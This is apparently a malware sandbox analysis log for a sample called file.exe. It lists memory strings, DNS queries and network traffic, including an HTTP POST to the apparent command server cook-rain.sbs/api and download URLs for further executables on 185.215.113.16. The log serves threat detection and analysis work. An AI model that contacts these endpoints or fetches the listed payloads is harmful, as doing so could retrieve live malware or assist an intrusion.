Source: chromecache_104.6.dr, chromecache_92.6.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.facebook.com (Facebook)
Source: chromecache_104.6.dr, chromecache_92.6.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.linkedin.com (Linkedin)
Source: chromecache_104.6.dr, chromecache_92.6.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.twitter.com (Twitter)

Source: global traffic	DNS traffic detected: DNS query: cook-rain.sbs
Source: global traffic	DNS traffic detected: DNS query: js.monitor.azure.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: mdec.nelreports.net

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: cook-rain.sbs

Source: file.exe, 00000000.00000003.2351489813.0000000000A08000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2456924205.00000000009DD000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2456676952.00000000005AA000.00000004.00000010.00020000.00000000.sdmp, file.exe, 00000000.00000003.2367757416.0000000000A06000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: file.exe, 00000000.00000003.2351489813.0000000000A08000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2456924205.00000000009DD000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2367757416.0000000000A06000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: file.exe, 00000000.00000003.2192008501.00000000056F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: file.exe, 00000000.00000003.2192008501.00000000056F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: file.exe, 00000000.00000003.2192008501.00000000056F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: file.exe, 00000000.00000003.2192008501.00000000056F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: file.exe, 00000000.00000003.2192008501.00000000056F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: file.exe, 00000000.00000003.2192008501.00000000056F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: file.exe, 00000000.00000003.2192008501.00000000056F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: file.exe, 00000000.00000003.2192008501.00000000056F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: file.exe, 00000000.00000003.2192008501.00000000056F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: chromecache_104.6.dr, chromecache_92.6.dr	String found in binary or memory: http://polymer.github.io/AUTHORS.txt
Source: chromecache_104.6.dr, chromecache_92.6.dr	String found in binary or memory: http://polymer.github.io/CONTRIBUTORS.txt
Source: chromecache_104.6.dr, chromecache_92.6.dr	String found in binary or memory: http://polymer.github.io/LICENSE.txt
Source: chromecache_104.6.dr, chromecache_92.6.dr	String found in binary or memory: http://polymer.github.io/PATENTS.txt
Source: chromecache_112.6.dr	String found in binary or memory: http://schema.org/Organization
Source: file.exe, 00000000.00000003.2192008501.00000000056F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: file.exe, 00000000.00000003.2192008501.00000000056F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: file.exe, 00000000.00000003.2162376483.000000000570A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: chromecache_104.6.dr, chromecache_92.6.dr	String found in binary or memory: https://aka.ms/MSIgniteChallenge/Tier1Banner?wt.mc_id=ignite24_learnbanner_tier1_cnl
Source: chromecache_104.6.dr, chromecache_92.6.dr	String found in binary or memory: https://aka.ms/certhelp
Source: chromecache_112.6.dr, chromecache_113.6.dr, chromecache_76.6.dr	String found in binary or memory: https://aka.ms/feedback/report?space=61
Source: chromecache_104.6.dr, chromecache_92.6.dr	String found in binary or memory: https://aka.ms/msignite_docs_banner
Source: chromecache_104.6.dr, chromecache_92.6.dr	String found in binary or memory: https://aka.ms/pshelpmechoose
Source: chromecache_112.6.dr	String found in binary or memory: https://aka.ms/yourcaliforniaprivacychoices
Source: chromecache_112.6.dr	String found in binary or memory: https://authoring-docs-microsoft.poolparty.biz/devrel/69c76c32-967e-4c65-b89a-74cc527db725
Source: chromecache_112.6.dr	String found in binary or memory: https://authoring-docs-microsoft.poolparty.biz/devrel/7696cda6-0510-47f6-8302-71bb5d2e28cf
Source: chromecache_104.6.dr, chromecache_92.6.dr	String found in binary or memory: https://aznb-ame-prod.azureedge.net/component/$
Source: file.exe, 00000000.00000003.2193905884.0000000000A29000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.
Source: file.exe, 00000000.00000003.2193905884.0000000000A29000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta
Source: file.exe, 00000000.00000003.2162376483.000000000570A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.2162376483.000000000570A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.2162376483.000000000570A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: chromecache_104.6.dr, chromecache_92.6.dr	String found in binary or memory: https://channel9.msdn.com/
Source: chromecache_104.6.dr, chromecache_92.6.dr	String found in binary or memory: https://client-api.arkoselabs.com/v2/api.js
Source: file.exe, 00000000.00000003.2193905884.0000000000A29000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg
Source: file.exe, 00000000.00000003.2193905884.0000000000A29000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: file.exe, 00000000.00000003.2212130829.0000000000A19000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2351489813.0000000000A08000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2212176892.0000000000A1F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2367757416.0000000000A06000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2223780981.0000000000A1C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2223803921.0000000000A24000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2212161825.0000000000A1A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/api
Source: file.exe, 00000000.00000003.2212130829.0000000000A19000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2212176892.0000000000A1F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2223780981.0000000000A1C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2223803921.0000000000A24000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2212161825.0000000000A1A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/apie
Source: file.exe, 00000000.00000003.2351489813.0000000000A08000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2367757416.0000000000A06000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/apit
Source: file.exe, 00000000.00000003.2162376483.000000000570A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.2162376483.000000000570A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.2162376483.000000000570A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: chromecache_112.6.dr	String found in binary or memory: https://github.com/Thraka
Source: chromecache_112.6.dr	String found in binary or memory: https://github.com/Youssef1313
Source: chromecache_112.6.dr	String found in binary or memory: https://github.com/adegeo
Source: chromecache_112.6.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/17c4acca45e573a92878a44a2cce57d699fe9c7c/docs/framework/install/
Source: chromecache_112.6.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/live/docs/framework/install/application-not-started.md
Source: chromecache_112.6.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/main/docs/framework/install/application-not-started.md
Source: chromecache_112.6.dr	String found in binary or memory: https://github.com/dotnet/docs/issues/new?template=z-customer-feedback.yml
Source: chromecache_104.6.dr, chromecache_92.6.dr	String found in binary or memory: https://github.com/dotnet/try
Source: chromecache_112.6.dr	String found in binary or memory: https://github.com/gewarren
Source: chromecache_104.6.dr, chromecache_92.6.dr	String found in binary or memory: https://github.com/jonschlinkert/is-plain-object
Source: chromecache_104.6.dr, chromecache_92.6.dr	String found in binary or memory: https://github.com/js-cookie/js-cookie
Source: chromecache_112.6.dr	String found in binary or memory: https://github.com/mairaw
Source: chromecache_112.6.dr	String found in binary or memory: https://github.com/nschonni
Source: file.exe, 00000000.00000003.2193905884.0000000000A29000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: chromecache_112.6.dr	String found in binary or memory: https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js
Source: chromecache_104.6.dr, chromecache_92.6.dr	String found in binary or memory: https://learn-video.azurefd.net/vod/player
Source: chromecache_104.6.dr, chromecache_92.6.dr	String found in binary or memory: https://management.azure.com/providers/Microsoft.Portal/consoles/default?api-version=2017-12-01-prev
Source: chromecache_104.6.dr, chromecache_92.6.dr	String found in binary or memory: https://management.azure.com/providers/Microsoft.Portal/userSettings/cloudconsole?api-version=2023-0
Source: chromecache_104.6.dr, chromecache_92.6.dr	String found in binary or memory: https://management.azure.com/subscriptions?api-version=2016-06-01
Source: chromecache_104.6.dr, chromecache_92.6.dr	String found in binary or memory: https://octokit.github.io/rest.js/#throttling
Source: chromecache_92.6.dr	String found in binary or memory: https://schema.org
Source: file.exe, 00000000.00000003.2193360244.00000000057EB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: file.exe, 00000000.00000003.2193360244.00000000057EB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: chromecache_104.6.dr, chromecache_92.6.dr	String found in binary or memory: https://twitter.com/intent/tweet?original_referer=$
Source: chromecache_104.6.dr, chromecache_92.6.dr	String found in binary or memory: https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-09ce73a6-05a5-4e4d-b3d7-bd5a8c05
Source: chromecache_92.6.dr	String found in binary or memory: https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-b4da8140-92cf-421c-8b7b-e471d5b9
Source: file.exe, 00000000.00000003.2193905884.0000000000A29000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3
Source: file.exe, 00000000.00000003.2162376483.000000000570A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: file.exe, 00000000.00000003.2162376483.000000000570A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: chromecache_104.6.dr, chromecache_92.6.dr	String found in binary or memory: https://www.linkedin.com/cws/share?url=$
Source: file.exe, 00000000.00000003.2193277052.00000000056EE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.or
Source: file.exe, 00000000.00000003.2193360244.00000000057EB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.bwSC1pmG_zle
Source: file.exe, 00000000.00000003.2193360244.00000000057EB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.hjKdHaZH-dbQ
Source: file.exe, 00000000.00000003.2193360244.00000000057EB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000003.2193905884.0000000000A29000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 50085 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50074 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50040 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50073 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 50062 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50051 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 50061 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50095 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 50084 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 443
